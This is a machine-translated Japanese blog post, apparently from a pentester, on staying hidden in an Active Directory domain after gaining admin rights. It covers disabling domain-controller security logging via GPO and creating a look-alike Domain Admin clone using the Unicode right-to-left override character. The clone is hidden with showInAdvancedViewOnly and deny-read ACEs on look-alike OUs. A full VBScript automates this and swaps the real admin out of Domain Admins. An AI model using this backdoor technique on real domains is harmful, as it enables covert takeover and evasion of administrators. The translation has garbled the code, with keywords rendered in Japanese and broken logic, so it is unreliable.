Active Directoryのバックドア#2

昨年の初めに、 Microsoft Active Directory ドメインでの搾取後トピックをすでに取り上げました以前提案されたアプローチで 、管理者権限の直接の使用よりも管理者権限の喪失の場合に重点を置いたオプションが検討されました。 同時に、これらの特権を返すというまさにその行為は、カタログ内の「うるさい」イベントと視覚的な子鹿の操作を暗示していました。 つまり、ドメインの管理者権限を回復するには、対応するセキュリティグループ(Domain Adminsグループなど)のメンバーになる必要がありました。



管理者は、自分のシステムに他の誰かの存在が突然気づいたとき、非常に心配していると言わなければなりません。 そのうちの何人かは、セキュリティインシデントに全力で対処しようと急ぎます。 時には、最も予測不可能なアクション;))





画像



ここで、大企業のActive Directory管理者が、Enterprise Adminsセキュリティグループになじみのない識別子を見つけたときの動作を想像してみてください。 誰かが動揺していない場合、管理者の懸念は完全に正当化されます。 しかし、ペンテスト中に反対が不十分な場合、実際にはあまり心配するべきではありません(正確には、汗と血によって得られたエントリーポイントと特権を男性から奪う方法)。



私は長い間、管理者を怖がらせることなく、侵入テスト中に達成された特権を自由に使用する方法について熟考しました(特に最近の作品の管理者からの積極的な反対を背景に)。 一方で、ペンテストを実施する場合、能力が非常に制限されます。 たとえば、学習対象への影響を最小限に抑えるルールは当然のものです。 したがって、キャプチャされたネットワーク上にバックドアを生成および分散させることはできません。 一方、うれしそうな管理者が許可されていないアクティビティを見つけてコンセントからコードを引っ張る瞬間まで到達する必要がある完全に理解可能な目標があります。



それでは、Microsoftネットワークで気付かれることはありませんか?



最初に頭に浮かぶのは、管理者アカウントを使用することです。 アクセスは正当であるため、特別な注意を引くべきではありません。 しかし、実践が示すように、管理者パスワードを平文で取得することは常に可能とは限りません。 これらの場合、 Pass-the-Hashとして知られる攻撃が救助に駆けつけます。 ほとんどすべてが素晴らしいでしょう(ほとんどの場合、Pass-the-HashがRDPリモートコントロールプロトコルを使用できないなど、攻撃を開発する可能性を狭めるためです)が、深刻な企業では、管理者は徐々にスマートカードに切り替えており、 NTLMプロトコルの欠陥。 良いですが、承認されたユーザートークン(eq incognito )および/またはKerberosチケット(eq WCE )を使用する可能性がまだあります。 これは確かに真実ですが、実際にはKerberosはケルベロスではなく、トークンはトークンではありません:攻撃者のアクションは、ドメインでSSOをサポートする使用プロトコルによって非常に制限されています。



したがって、最も魅力的な方法は、既に存在しない場合は特権を使用することです。そのため、既知のパスワードでドメイン管理者識別子を作成します...



ドメイン管理者の警戒心にぶつからないようにするには?



まず、Active Directoryに変更を加えると、管理者が気付かない方がよい関連イベントがトリガーされます。 したがって、ドメインにアップロードする前に(もちろん、侵入テストを実行し、このアクションについて顧客側の責任者と合意した後のみ)、適切なGPOを介してドメインコントローラーのセキュリティイベントのログを無効にすることをお勧めします。 デフォルトでは、ドメインコントローラーのグループポリシーのバックグラウンド更新時間は15分です。



第二に、既存のドメイン管理者と同様に、視覚的に同一のアカウントを作成する手間がかかりません。 たとえば、Unicode文字(!)を使用できます。 次に、作成されたユーザーは値「TRUE」の「showInAdvancedViewOnly」属性に設定され、「User and Computer Management」スナップイン(dsa.msc)の標準表示モードでオブジェクトを非表示にします。 その後、このユーザーを実際のドメイン管理者から解放された管理グループのいずれかに配置します(約、クローンを「Domain Admins」グループに入れます)。



しかし、読者の多くはすでに会社の成功を疑っていると思います。 そして、彼らは正しいです! この方法はダメです、なぜなら 次の2つの重大な欠点があります。

1.作成されたユーザー識別子は、「armed eye」ディレクトリに表示されます。

2.ドメイン内のユーザーを検索すると、管理者アカウントが2倍になり始めます。



これらの問題はどのように解決できますか?



表面上の最も簡単な解決策は、作成されたオブジェクト(ユーザー)へのアクセス権を正しく構成することです。 これを行うには、Everyoneグループがオブジェクトからの公開情報の読み取りを禁止するだけで十分です。 また、組織単位では、実際のActive Directory管理者の隣に、ドメイン内のユーザーを検索するときに少なくとも何かがオフになる「何か」がハングします。 ただし、物語は60分以内に続きます:(事実、PDCエミュレーターとして機能するドメインコントローラーでデフォルトで60分ごとにSDPROPプロセスが開始され、多数のActive Directoryオブジェクト( AdminSDHolderオブジェクト( http://technet.microsoft.com/en-us/query/ee361593 )への確立されたアクセス権に従って、管理者グループのすべてのメンバー)。



残念ながら、指定されたセキュリティメカニズムを通常の機能で無効にすることはできません。 オブジェクトへのアクセス権を持つハックは、レプリケーションに問題を引き起こす可能性があります(そして、ここでは、ある種の妨害行為のような臭いがします;最悪の場合)。 「AdminSDHolder」の権限を上書きすると、すべてのドメイン管理者の識別子を含む多くのオブジェクトに影響します。 したがって、考えられる有用な解決策の1つは、「SDPROP」プロセスのエラーを修正するスクリプトを定期的に実行することですが、より有望な代替手段もあります。



SDPROPプロセスは、特定の特権オブジェクトのみにアクセス権(ACE)を復元しますが、そのようなオブジェクトを含む組織単位のアクセス権は変更されません。 これはまさにあなたが使用できるものです! 結局のところ、だれも、ユニコード文字を使用して、複製された識別子が含まれるシーケンスと同様の組織単位の同様のシーケンスを作成することを気にしません。 同時に、上位コンテナへの「正しい」アクセス権により、it索好きな目から視覚的に隠されます(もちろん、当然のことです)。



画像



画像



このアプローチの意味は、Active Directory管理者が、彼に委ねられたシステムが侵害されたという事実について不健全な疑いを抱いてはならないということです。 彼は現在の管理者のままですが、特権グループのメンバーは視覚的に同一のアカウントです...



そして最後の1つ。 作成されたクローンがカタログ検索で複製されないようにするには、たとえば、「 202E 」記号を使用できます(注意事項についてはAlexander Zaitsevを参照)。 指定された文字は、その後ろの行を反転します。 したがって、たとえば、識別子「dmitry.ivanov」のクローンを作成する場合、作成される識別子は「202E」+「vonavi.yrtimd」の形式になります。 おそらく、このアプローチは認証にはそれほど便利ではありませんが、ディレクトリ検索に入る手間を省くことができます。



画像



セキュリティログの観点から見ると、このアプローチでは特定のポイントまで気付かれないようにすることもできます。



画像



以下は、上記のすべてを自動化するスクリプトです。 構成可能なオプション:



strAdminsamAccountName-クローンを作成する識別子

strAdminsGroup-クローンを配置する特権グループ

strPassNewUser-新しいユーザーのパスワードを設定します



エラー時の再開



strAdminsamAccountName = "dmitry.ivanov"

strAdminsGroup = "Domain Admins"

strPassNewUser = "P @ ssw0rd"



'---Dim arrContainer()、i



Set objRootDSE = GetObject( "LDAP:// RootDSE")

strDomain = objRootDSE.Get( "DefaultNamingContext")

Set objDomain = GetObject( "LDAP://"&strDomain)



strAdminsamAccountNameDN = SearchDN( "'WHERE objectCategory =' user 'AND samAccountName ='"&strAdminsamAccountName& "'")



Not Not IsNull(strAdminsamAccountNameDN)その後



Set objAdmin = GetObject( "LDAP://"&strAdminsamAccountNameDN)

objOU = GetObject(objAdmin.parent)を設定します



i = 0

EnumOUsの呼び出し(objOU)



For j = i-1 To 0 Step -1



if strContainer = "" Then

strContainer = "OU ="&arrContainer(j)&strContainer

primaryContainer = strContainer

その他

strContainer = "OU ="&arrContainer(j)& "、"&strContainer

終了する場合

Set objOUcreate = objDomain.Create( "organizationalUnit"、strContainer)

objOUcreate.SetInfo

次へ



Set objContainer = GetObject( "LDAP://"&strContainer& "、"&strDomain)



Set objUserCreate = objContainer.Create( "User"、 "cn ="&ChrW(8238)&StrReverse(objAdmin.displayName))

objUserCreate.Put "sAMAccountName"、ChrW(8238)およびStrReverse(strAdminsamAccountName)

objUserCreate.SetInfo

エラー時の再開



objUserCreate.SetPassword strPassNewUser

objUserCreate.Put "userAccountControl"、66048

objUserCreate.Put "givenName"、ChrW(8238)およびStrReverse(objAdmin.givenName)

objUserCreate.Put“ sn”、ChrW(8238)およびStrReverse(objAdmin.sn)

objUserCreate.Put“ initials”、ChrW(8238)およびStrReverse(objAdmin.initials)

objUserCreate.SetInfo

エラー時の再開



objUserCreate.Put "showInAdvancedViewOnly"、 "TRUE"

objUserCreate.SetInfo

エラー時の再開



NewUserDN = "cn ="&ChrW(8238)&StrReverse(objAdmin.displayName)& "、"&objContainer.distinguishedName



strAdminsGroupDN = SearchDN( "'WHERE objectCategory ='グループ 'AND samAccountName ='"&strAdminsGroup& "'")



Not Not IsNull(strAdminsGroupDN)その後

Set objGroup = GetObject( "LDAP://"&strAdminsGroupDN)

objGroup.PutEx 4、「メンバー」、配列(strAdminsamAccountNameDN)

objGroup.SetInfo

objGroup.PutEx 3、「メンバー」、配列(NewUserDN)

objGroup.SetInfo

終了する場合



OUAddAce(primaryContainer& "、"&strDomain)



終了する場合



関数SearchDN(str)

objConnection = CreateObject( "ADODB.Connection")を設定します



objConnection.Provider = "ADsDSOObject"

objConnection.Open「Active Directoryプロバイダー」



Set objCommand = CreateObject( "ADODB.Command")

objCommand.ActiveConnection = objConnectionを設定します

objCommand.Properties( "Searchscope")= 2



objCommand.CommandText = "SELECTLDAPName FROM 'LDAP://"&strDomain&str

objRecordSet = objCommand.Executeを設定します

If objRecordSet.EOF Then

SearchDN = objRecordSet.Fields( "distinguishedName")。値

終了する場合

終了機能



サブEnumOU(objChild)

薄暗いオブジェクト



objParent = GetObject(objChild.Parent)を設定します

If(objParent.Class = "organizationalUnit")Then

ReDim Preserve arrContainer(i + 1)

arrContainer(i)= objChild.ou

i = i + 1

EnumOUsの呼び出し(objParent)

その他

ReDim Preserve arrContainer(i + 1)

arrContainer(i)= objChild.ou&ChrW(128)

i = i + 1

終了する場合

終了サブ



関数OUAddAce(OU)



Dim objSdUtil、objSD、objDACL、objAce

Set objOU = GetObject( "LDAP://"&OU)



objSdUtil = GetObject(objOU.ADsPath)を設定します

objSD = objSdUtil.Get( "ntSecurityDescriptor")を設定します

objDACL = objSD.DiscretionaryACLを設定します

Set objAce = CreateObject( "AccessControlEntry")



objAce.Trustee = "Everyone"

objAce.AceFlags = 2

objAce.AceType = 6

objAce.AccessMask = 16

objAce.Flags = 1

objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"

objDacl.AddAce objAce



objSD.DiscretionaryAcl = objDacl

objSDUtil.Put "ntSecurityDescriptor"、配列(objSD)

objSDUtil.SetInfo



Set objNtSecurityDescriptor = objOU.Get( "ntSecurityDescriptor")

intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control

intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor&H1000

objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl

objOU.Put "ntSecurityDescriptor"、objNtSecurityDescriptor

objOU.SetInfo



終了機能



All Articles